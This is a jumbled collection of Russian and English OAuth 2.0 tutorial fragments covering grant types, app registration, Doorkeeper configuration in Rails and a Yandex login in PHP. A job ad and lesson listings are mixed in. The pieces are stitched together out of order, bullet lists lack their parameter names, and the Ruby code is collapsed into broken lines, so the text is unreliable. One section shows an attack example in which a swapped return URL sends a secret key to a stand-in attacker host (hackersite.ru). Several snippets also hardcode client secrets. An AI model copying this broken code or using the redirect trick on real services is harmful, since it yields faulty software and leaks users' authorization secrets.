Руководство по аутентификации в node.js без passport.js и сторонних сервисов

Authorization Grant

In the Abstract Protocol Flow above, the first four steps cover obtaining an authorization grant and access token. The authorization grant type depends on the method used by the application to request authorization, and the grant types supported by the API. OAuth 2 defines four grant types, each of which is useful in different cases:

• Authorization Code: used with server-side Applications
• Implicit: used with Mobile Apps or Web Applications (applications that run on the user’s device)
• Resource Owner Password Credentials: used with trusted Applications, such as those owned by the service itself
• Client Credentials: used with Applications API access

Now we will describe grant types in more detail, their use cases and flows, in the following sections.

Регистрация приложения

Перед тем, как начать использовать OAuth в вашем приложении, вам необходимо зарегистрировать своё приложения в сервисе. Это делается путём регистрации в разделе “developer” или “API” сайта сервиса, где вам необходимо предоставить следующую информацию (возможно, включая некоторые детали о вашем приложении):

• Название приложения
• Сайт приложения
• Redirect URL или callback URL

Redirect URL — это URL, на который сервис будет перенаправлять пользователя после авторизации (или отказа в авторизации) вашего приложения.

Идентификатор клиента и секрет клиента

После регистрации приложения сервис создаст учётные данные клиента — идентификатор клиента (client ID) и секрет клиента (client secret). Идентификатор клиента представляет собой публично доступную строку, которая используется API сервиса для идентификации приложения, а также используется для создания авторизационных URL для пользователей. Секрет клиента используется для аутентификации подлинности приложения для API сервиса, когда приложение запрашивает доступ к аккаунту пользователя. Секрет клиента должен быть известен только приложению и API.

Получение авторизации

Рассмотрим наиболее часто встречающийся кейс: имеется клиент-браузер и веб-сервер — последний находится на сервере к которому нет публичного доступа. Это значит что веб-сервер может безопасно использовать Client Secret, полученный на этапе регистрации приложения. Теперь по порядку:

Создание ссылки, которая перенаправит пользователя на Authorization Server:

• — говорит о том, что сервер ожидает получить код авторизации.
• — значение полученное во время регистрации приложения.
• — ссылка, на которую, после успешной авторизации, Authorization Server делает редирект пользователя вместе в токеном (или кодом доступа).
• — один и больше значений, обозначающих к каким ресурсам пользователя необходимо иметь доступ. Необходимые значения берутся из соответствующей документации на Authorization Server.
• — случайная строка, которую Authorization Server должен вернуть обратно на , её необходимо будет проверить на равенство. Нужно это для защиты от CSRF ( ведь не защищен, а это значит что недобросовестное лицо может собрать uri со своим токеном или кодом доступа, сделать так, чтобы другой пользователь перешел по этому uri, и тогда пользователь будет работать с чужими ресурсами, а здесь уже и приватные данные можно засветить, к примеру).

Если пользователь согласился предоставить доступ к своим ресурсам, то Authorization Server сделает редирект обратно на Client.

• — Authorization Server возвращает код авторизации.
• — Authorization Server возвращает то же значение, что было передано в шаге 1.

Необходимо сравнить переменную чтобы быть уверенным в валидности запроса.

PHP-разработчик

FASTVPS, Санкт-Петербург, до 130 000 ₽

tproger.ru

Вакансии на tproger.ru

Client меняет код авторизации на токен доступа делая POST запрос:

• — вид авторизации.
• — код авторизации, полученный на шаге 2.
• — должен быть таким же как в шаге 1.
• — значение полученное во время регистрации приложения.
• — значение полученное во время регистрации приложения.

В случае успеха Authorization Server отвечает токеном доступа и временем в течении которого токен валиден, иначе — ошибкой.

Об изобретении велосипедов

<form action="http://gmail.com/auth.php?retpath=http://oursocialnetwork.ru/import.php" method="get">
  <input type="submit" value="Загрузить адресную книгу" />
</form>

http://oursocialnetwork.ru/import.php?secret=Y49xdN0Zo2B5v0RR

$contacts = $gmailApi->getContacts($_GET);

Грабли первые: подмена адреса возврата retpath

http://gmail.com/auth.php?retpath=http://hackersite.ru/save.php

http://hackersite.ru/save.php?secret=Y49xdN0Zo2B5v0RR

Грабли вторые: «подслушивание» секретного ключа

http://oursocialnetwork.ru/import.php?secret=Y49xdN0Zo2B5v0RR

Password Credentials

This configuration is sufficient to obtain a token access to the resources using an owner password as a grant, and we will do it now. Old faithful cURL will help with this one:

curl -F grant_type=password \    -F username=email@mail.com \    -F password=qwerty123 \    -X POST http://localhost:3000/oauth/token   ...{"access_token":"9c8944c43697b3b0520bed19da180c0dbcc4685a92ee9074692a5cce132d1016","token_type":"bearer","expires_in":7200,"created_at":1519247019}

In its turn we will use the obtained token access to get the resource:

curl -H 'Authorization: Bearer 9c8944c43697b3b0520bed19da180c0dbcc4685a92ee9074692a5cce132d1016' \http://localhost:3000/me.json

This type of grant is not secure, since it requires the transfer of the username and password to the client to receive token access every time. But in our case it’s not critical, since the client and authorization server are parts of one project.

Можно ли этому доверять?

Ско­рее нет, чем да. С OAuth есть про­бле­ма: вы нико­гда не зна­е­те, дей­стви­тель­но ли это OAuth или это хаке­ры сде­ла­ли шту­ку, похо­жую на OAuth, кото­рая хочет украсть ваш пароль. На вся­кий слу­чай вот тех­ни­ка безопасности: 

️ Во всех важ­ных сер­ви­сах вклю­чай­те двух­фак­тор­ную авто­ри­за­цию: что­бы не толь­ко вво­дить пароль, но и полу­чать СМС.

️ Если сер­вис под­дер­жи­ва­ет приложение-аутентификатор — исполь­зуй­те его. Напри­мер, в Яндек­се есть «Ключ», а в Гуг­ле — Authenticator. Это спе­ци­аль­ные при­ло­же­ния, кото­рые созда­ют допол­ни­тель­ный слой защи­ты поверх ваше­го логи­на и пароля. 

️ Если вы толь­ко что поль­зо­ва­лись сер­ви­са­ми Яндек­са или Гуг­ла и тут вас про­сят вновь вве­сти логин и пароль — закрой­те эту стра­ни­цу. Яндекс и Гугл пом­нят вас и не попро­сят пароль лиш­ний раз. 

Текст и иллю­стра­ции:Миша Поля­нин
Редак­тор:Мак­сим Ильяхов
Кор­рек­тор:Ира Михе­е­ва
Иллю­стра­тор:Даня Бер­ков­ский
Вёрст­ка:Маша Дро­но­ва
Достав­ка:Олег Веш­кур­цев

Вводная часть

Если при разработке сайта возникает необходимость идентифицировать пользователя, OAuth-авторизация является достаточно простым инструментом в части реализации и защищенным в части безопасности.

В публикации рассмотрена OAuth авторизация для социальных сетей Facebook, Vkontakte и аккаунтов поисковых систем Google, Yandex. Этих примеров достаточно для понимания того, что авторизация по OAuth везде одинакова, различия в реализации незначительны. А значит, полученных из публикации знаний будет достаточно для самостоятельной реализации механизма авторизации для любого другого сервиса.

Почему бы не использовать готовые библиотеки и скрипты для подключения авторизации к сайту? Потому, что:

• OAuth авторизация достаточно проста, чтобы разобраться самому и достаточно важна, чтобы не поручать сбор персональных данных посетителей своего сайта незнакомым библиотекам,
• гораздо быстрее раз и навсегда понять принципы OAuth авторизации, чем разбираться в каждой ошибке сторонней библиотеки при подключении очередного сервиса авторизации.

Термины:

Все сервисы (социальные сети, поисковые системы, web-сервисы, и пр.) предоставляющие OAuth авторизацию в данной публикации будем называть серверами авторизации

Чтобы реализовать на своем сайте OAuth авторизацию нужно:

Тип разрешения на авторизацию: учётные данные владельца ресурса

При этом типе разрешения на авторизацию пользователь предоставляет приложению напрямую свои авторизационные данные в сервисе (имя пользователя и пароль). Приложение, в свою очередь, использует полученные учётные данные пользователя для получения токена доступа от сервиса. Этот тип разрешения на авторизацию должен использоваться только в том случае, когда другие варианты не доступны. Кроме того, этот тип разрешения стоит использовать только в случае, когда приложение пользуется доверием пользователя (например, является частью самого сервиса, или операционной системы пользователя).

Процесс с учётными данными владельца ресурса

После того, как пользователь передаст свои учётные данные приложению, приложение запросит токен доступа у авторизационного сервера. Пример POST-запроса может выглядеть следующим образом:

Если учётные данные корректны, сервер авторизации вернёт токен доступа приложению. Теперь приложение авторизовано!

Внимание: DigitalOcean в настоящее время не поддерживает тип разрешения на авторизацию с использованием учётных данных владельца ресурса, поэтому ссылка выше ведёт на воображаемый авторизационный сервер “oauth.example.com”

Тип разрешения на авторизацию: Неявный

Неявный тип разрешения на авторизацию используется мобильными и веб-приложениями (приложениями, которые работают в веб-браузере), где конфиденциальность секрета клиента не может быть гарантирована. Неявный тип разрешения также основан на перенаправлении пользовательского агента, при этом токен доступа передаётся пользовательскому агенту для дальнейшей передачи приложению. Это, в свою очередь, делает токен доступным пользователю и другим приложениям на устройстве пользователя. Также при этом типе разрешения на авторизацию не осуществляется аутентификация подлинности приложения, а сам процесс полагается на URL перенаправления (зарегистрированный ранее в сервисе).

Неявный тип разрешения на авторизацию не поддерживает токены обновления токена доступа (refresh tokens).

Процесс выглядит следующим образом: приложение просит пользователя авторизовать себя, затем сервер авторизации передаёт токен доступа к пользовательскому агенту, который передаёт токен приложению. Далее мы опишем процесс в деталях.

Шаг 1: Ссылка для неявной авторизации

При неявном типа разрешения на авторизацию пользователю предоставляется ссылка, запрашивающая токен у API

Эта ссылка выглядит почти так же, как ссылка для предыдущего способа (с кодом авторизации), за исключением того, что запрашивается токен вместо кода (обратите внимание на response type “token”):

Шаг 2: Пользователь авторизует приложение

Когда пользователь нажимает на ссылку, он должен сперва осуществить вход в систему для подтверждения своей личности (если он, конечно, ещё не залогинен). После этого сервис предложит пользователю авторизовать или отказать в авторизации приложению для доступа к аккаунту пользователя. Пример такого диалога представлен ниже:

На этом скриншоте экрана авторизации DigitalOcean мы можем видеть, что приложение “Thedropletbook App” запрашивает доступ на чтение к аккаунту “manicas@digitalocean.com”.

Шаг 3: Пользовательский агент получает токен доступа с URI перенаправления

Если пользователь выбирает “Авторизовать приложение”, сервис перенаправляет пользовательский агент по URI пренправления приложения и включает в URI фрагмент, содержащий токен доступа. Это выглядит примерно вот так:

Шаг 5: Приложение выполняет скрипт извлечения токена доступа

Приложение возвращает веб-страницу, которая содержит скрипт для извлечения токен доступа из полного URI перенаправления, сохранённого пользовательским агентом.

Шаг 6: Токен доступа передаётся приложению

Пользовательский агент запускает скрипт извлечения токена доступа, а затем передаёт извлечённый токен приложению.

Теперь приложение авторизовано! Оно может использовать токен для доступа к пользовательскому аккаунту через API сервиса с заданными ограничениями доступа до тех пор, пока не истечёт срок действия токена или токен не будет отозван.

Authorization Code

In general, the best variant is to use an authorization code. Client registration on the authorization server is usually required for this purpose. Our case won’t be an exception. We will edit the configuration Doorkeeper in order to do it and remove the bypassing of client authorization.

skip_authorization dotrueend

Doorkeeper provides a standard controller and view for the app registration from the box, but being disciples we have the right to cut the path: register a new application in the console.

Doorkeeper::Application.create(name: 'test_client', redirect_uri: 'http://client:3001/auth/auth_server/callback')    #<Doorkeeper::Application:0x007fc514982408    id: 1,    name: "test_client",    uid: "9f311f064a316a9a31ef009006cf578c637220d6f0445bce8f22cb83e69cc830",    secret: "6b0261a3d4170418c581940a80a6fdf8aedafbdcdbe5d3bece04fa87f5c59e3f",    redirect_uri: "http://client:3001/auth/auth_server/callback",    scopes: "",    created_at: Sun, 25 Feb 2018 17:12:05 UTC +00:00,    updated_at: Sun, 25 Feb 2018 17:12:05 UTC +00:00>

In real life we have to use a separate controller for the registration. Keep in mind that any interaction over OAuth2 must be done only over the protected TLS channel in production, but while we have dev it would be more effective to use an unprotected connection — we will leave redirect URI as is.

Now we can get a token access by authorization code by making POST request to . You need to disable the protection from CSRF to make this request work.

curl -v -F response_type=code \      -F client_id=9f311f064a316a9a31ef009006cf578c637220d6f0445bce8f22cb83e69cc830 \      -F client_secret=6b0261a3d4170418c581940a80a6fdf8aedafbdcdbe5d3bece04fa87f5c59e3f \      -F redirect_uri=http://client:3001/auth/auth_server/callback \      -F username=user@mail.com \      -X POST http://localhost:3000/oauth/authorize       ...      HTTP/1.1 302 Found      X-Frame-Options: SAMEORIGIN      X-XSS-Protection: 1; mode=block      X-Content-Type-Options: nosniff      Location: http://client:3001/auth/auth_server/callback?code=4368dd101f83dee16502015f15039ec339c583909aced4e738c0813a74fa5f27      Content-Type: text/html; charset=utf-8      Cache-Control: no-cache      X-Request-Id: 1318ff5f-f1e0-474c-9ac9-096800a1e2ba      X-Runtime: 0.038971      <html><body>You are being <a href="http://client:3001/auth/auth_server/callback?code=4368dd101f83dee16502015f15039ec339c583909aced4e738c0813a74fa5f27">redirected</a>.</body></html>

Now briefly about the aforementioned: we, acting as a user agent, requested the authorization code. The server processed the request, generated the authorization code and responded with the redirect to the client’s URI. After that the user agent will follow the link specified in the header location, by a lucky chance always coinciding with the link provided by us when there’s a client registration, except for a specific code. Doorkeeper also provides endpoint GET .

curl http://localhost:3000/oauth/authorize/code=4368dd101f83dee16502015f15039ec339c583909aced4e738c0813a74fa5f27    ...    <main role="main">      code=4368dd101f83dee16502015f15039ec339c583909aced4e738c0813a74fa5f27    </main>    ...

Дамы и господа, встречайте: OAuth 2.0

OAuth 2.0согласияавторизациейделегированной авторизацией«Неудачный каламбур дня: Слышали о парне, который потерял левую половину тела? Теперь он всегда прав!» (перевод примерный, т.к. в оригинале своя игра слов — прим. перев.)«Все любят каламбуры! — Уже залогинились? — Хотите открыть доступ сайту Terrible Pun of the Day к списку контактов? — Спасибо! Теперь мы каждый день будем слать напоминания всем, кого вы знаете, до скончания веков! Вы самый лучший друг!»

1. Выберите свой сервис электронной почты.
2. При необходимости перейдите на сайт почты и войдите в учетную запись.
3. Дайте разрешение сайту Terrible Pun of the Day на доступ к контактам.
4. Вернитесь на сайт Terrible Pun of the Day.

Configuration

According to the page at GitHub, Doorkeeper gem is an awesome OAuth2 provider for your Rails app. The easiest way to use Doorkeeper is for implementation of a combined solution ’authentication/resource server’. Installation doesn’t differ from the other gem upload, just add it to your Gemfile.

gem 'doorkeeper'

Then, following the instruction:

rails generate doorkeeper:install    rails generate doorkeeper:migration    rails db:migrate

Configuration Doorkeeper is accomplished through the initializer. The code of resourceownerauthenticator may differ: in this case AuthLogic is used for authorization. In order not to be distracted by unnecessary details we will also skip the client authorization.

Doorkeeper.configure do      resource_owner_authenticator doif user = UserSession.find.try(:record)          userelse          session = request.url          redirect_to(auth_sign_in_url)endend      reuse_access_token      skip_authorization dotrueend      # For Password Grant      resource_owner_from_credentials do |routes|        user = User.find_by_email(params.downcase)if user && user.valid_password?(params)          userendendend

Now we need MeResource, which would provide user data. OAuth2 protocol is usually used for authorizing requests to the API. Our project will not be an exception: we use Grape for our API.

class V1::MeResource < V1::Base      namespace :me do        get '/' do          {            uid: current_user.id,            email: current_user.email          }endendend

I would like to add that Doorkeeper provides the set of helpers for the integration with Grape API, that makes method available.

require 'doorkeeper/grape/helpers'    class V1::Base < Grape::APIdef self.inherited(subclass)super        subclass.instance_eval do          before do            doorkeeper_authorize!end          helpers V1::Helpers::Authentication,                  Doorkeeper::Grape::Helpersendendend

And helper module itself:

module V1module Helpersmodule Authentication          def current_userreturn @current_user if defined?(@current_user)            if doorkeeper_token&.resource_owner_id&.present?              @current_user = User.find(doorkeeper_token.resource_owner_id)endendendendend

Разрешение на авторизацию

В абстрактном описании протокола выше первые четыре шага касаются вопросов создания разрешения на авторизацию и токена доступа. Тип разрешения на авторизацию зависит от используемого приложением метода запроса авторизации, а также от того, какие типы разрешения поддерживаются со стороны API. OAuth 2 определяет четыре разных типа, каждый из которых полезен в определённых ситуациях:

• Код авторизации (Authorization Code): используется с серверными приложениями (server-side applications).
• Неявный (Implicit): используется мобильными или веб-приложениями (приложения, работающие на устройстве пользователя).
• Учётные данные владельца ресурса (Resource Owner Password Credentials): используются доверенными приложениями, например приложениями, которые являются частью самого сервиса.
• Учётные данные клиента (Client Credentials): используются при доступе приложения к API.

Далее мы рассмотрим эти типы разрешения на авторизацию, примеры их использования.

Как работает единая авторизация

Для поль­зо­ва­те­ля всё выгля­дит про­сто: нажал «Вой­ти через Яндекс», под­твер­дил Яндек­су своё жела­ние вой­ти на нуж­ный сайт, и всё — вы уже заре­ги­стри­ро­ва­лись на новом сай­те и може­те им поль­зо­вать­ся. Но что про­ис­хо­дит под капотом?

Когда посе­ти­тель, напри­мер, сай­та о про­грам­ми­ро­ва­нии, нажи­ма­ет «Вой­ти через Яндекс», этот сайт отправ­ля­ет в Яндекс запрос и гово­рит: «Тут кто-то хочет вой­ти на мой сайт через ваш сер­вис, може­те разобраться?»:

Когда Яндекс полу­ча­ет такой запрос, ему нуж­но понять, что за посе­ти­тель при­шёл на сайт и есть ли у него акка­унт Яндек­са. Для это­го он пока­зы­ва­ет всплы­ва­ю­щее окно, где посе­ти­тель может вой­ти в свой Яндекс-аккаунт. Это нуж­но, что­бы сер­вис пони­мал, на чьё имя выда­вать про­пуск для сай­та. Если поль­зо­ва­тель уже зало­ги­нен в Яндек­се, его сра­зу узнают. 

Как толь­ко посе­ти­тель вво­дит свой логин и пароль, Яндекс узна­ёт его и спра­ши­ва­ет, дове­ря­ет ли он это­му сай­ту о про­грам­ми­ро­ва­нии и может ли Яндекс поде­лить­ся с сай­том дан­ны­ми о его име­ни и почте:

Даль­ше Яндекс отда­ёт ваши дан­ные сай­ту, он вас узна­ёт, и готово:

Abstract Protocol Flow

Now that you have an idea of what the OAuth roles are, let’s look at a diagram of how they generally interact with each other:

Here is a more detailed explanation of the steps in the diagram:

1. The application requests authorization to access service resources from the user
2. If the user authorized the request, the application receives an authorization grant
3. The application requests an access token from the authorization server (API) by presenting authentication of its own identity, and the authorization grant
4. If the application identity is authenticated and the authorization grant is valid, the authorization server (API) issues an access token to the application. Authorization is complete.
5. The application requests the resource from the resource server (API) and presents the access token for authentication
6. If the access token is valid, the resource server (API) serves the resource to the application

The actual flow of this process will differ depending on the authorization grant type in use, but this is the general idea. We will explore different grant types in a later section.

5 последних уроков рубрики «PHP»

Когда речь идёт о безопасности веб-сайта, то фраза «фильтруйте всё, экранируйте всё» всегда будет актуальна. Сегодня поговорим о фильтрации данных.

Обеспечение безопасности веб-сайта — это не только защита от SQL инъекций, но и протекция от межсайтового скриптинга (XSS), межсайтовой подделки запросов (CSRF) и от других видов атак

В частности, вам нужно очень осторожно подходить к формированию HTML, CSS и JavaScript кода.

Expressive 2 поддерживает возможность подключения других ZF компонент по специальной схеме. Не всем нравится данное решение

В этой статье мы расскажем как улучшили процесс подключение нескольких модулей.

Предположим, что вам необходимо отправить какую-то информацию в Google Analytics из серверного скрипта. Как это сделать. Ответ в этой заметке.

Подборка PHP песочниц
Подборка из нескольких видов PHP песочниц. На некоторых вы в режиме online сможете потестить свой код, но есть так же решения, которые можно внедрить на свой сайт.

Переход с сайта на страницу авторизации

Как правило, для перехода на страницу сервера авторизации на сайт вешается кнопка, например, так:

<button click="javascript::location.href='.......'"></button>

В качестве значения ссылки указываем адрес сервера авторизации с набором параметров
Адреса на страницы авторизации

• Google: https://accounts.google.com/o/oauth2/auth
• Yandex: https://oauth.yandex.ru/authorize
• Facebook:
• ВКонтакте: https://oauth.vk.com/authorize

При переходе по указанным ссылкам необходимо передать следующие параметры:

• — scope=email
• — scope=https://www.googleapis.com/auth/userinfo.email+https://www.googleapis.com/auth/userinfo.profile
• — scope=email Но здесь необходимо помнить, что на Facebook можно зарегистрироваться без указания email, через номер мобильного телефона. Поэтому email у пользователя может не быть.
• Yandex — параметр scope можно не указывать. Какая информация о пользователе необходима — задается при регистрации приложения

Параметры для доступа к другим дополнительным параметрам пользователя можно посмотреть здесь

What is Auth0?

Auth0 helps you to easily:

• implement authentication with multiple identity providers, including social (e.g., Google, Facebook, Microsoft, LinkedIn, GitHub, Twitter, etc), or enterprise (e.g., Windows Azure AD, Google Apps, Active Directory, ADFS, SAML, etc.)
• log in users with username/password databases, passwordless, or multi-factor authentication
• link multiple user accounts together
• generate signed JSON Web Tokens to authorize your API calls and flow the user identity securely
• access demographics and analytics detailing how, when, and where users are logging in
• enrich user profiles from other data sources using customizable JavaScript rules

Шаг 1. Добавление нового приложения

Название будет «Yandex Auth». В Правах кликаем на «Яндекс.Логин» и выбираем все подпункты: адрес электронной почты, дата рождения, имя пользователя, ФИО, пол. Если пользователь заполнил эти данные в своём профиле, то в последствии, мы получим к ним доступ. Callback URI выбираем: . Таким образом, на локальном сервере поместим наши файлы в каталог «yandex-auth». Нажимаем на кнопку «Создать».

На следующей странице нам отобразится блок со специальными параметрами:

Отсюда мы можем извлечь такие параметры, как `Id приложения`, и`Пароль приложения`. Запишем их в специальные переменные в файле index.php:

<?php

$client_id = '22d7dfc5f4358b47b41f6e1f8a80efa0'; // Id приложения
$client_secret = '721a338df24447efe9080cfd36a2da7a'; // Пароль приложения
$redirect_uri = 'http://localhost/yandex-auth'; // Callback URI
  

Заключение

Сегодня мы завершили рассмотрение всех популярных способов авторизации пользователей и получения базовой информации о них через внешние сервисы. Описанные механизмы подходят как для Xamarin.Forms, так и для классического Xamarin iOS/Android. Полные исходные коды проекта со всеми примерами можно найти в нашем репозитории:

Об авторе

Binwellблоге на MediumДругие статьи автора:

• 7 лучших ферм устройств для тестирования мобильных приложений
• Автоматизируем неавтоматизируемое, или про Xamarin в реальных проектах
• Авторизация OAuth для Xamarin-приложений
• Деплоим мобильный софт с помощью devops-конвейера Microsoft
• DevOps на службе человека
• Удобный REST для Xamarin-приложений
• Быстрое создание MVP (minimum viable product) на базе Microsoft Azure и Xamarin.Forms
• Готовим Xamarin.Forms: настройка окружения и первые шаги
• Повышаем эффективность работы в Xamarin.Forms
• Работаем с состояниями экранов в Xamarin.Forms
• Подключаем Facebook SDK для Xamarin.Forms
• Подключаем ВКонтакте SDK для Xamarin.Forms

Заключение

Это руководство знакомит читателя с основами реквизитов клиента OAuth. Оно демонстрирует, как написать на языке Java универсальный клиент OAuth 2.0, который устанавливает соединение с несколькими OAuth 2.0-совместимыми конечными точками и получает от них защищенные ресурсы. К статье прилагается пример клиента в виде проекта Java, чтобы читатель мог легко импортировать его в рабочее пространство Eclipse и приступить к тестированию. В последующих частях этой серии статей мы опишем оставшиеся два типа грантов, имеющихся в системе авторизации OAuth 2.0.

Похожие темы

• Оригинал статьи: OAuth 2.0 clients in Java programming, Part 2: Client credentials grant.
• OAuth 2.0 Authorization Framework
• Установка OAuth2.0 на Websphere Application Server
• Вы попробовали IBM Bluemix? Облачная платформа для мировых идей.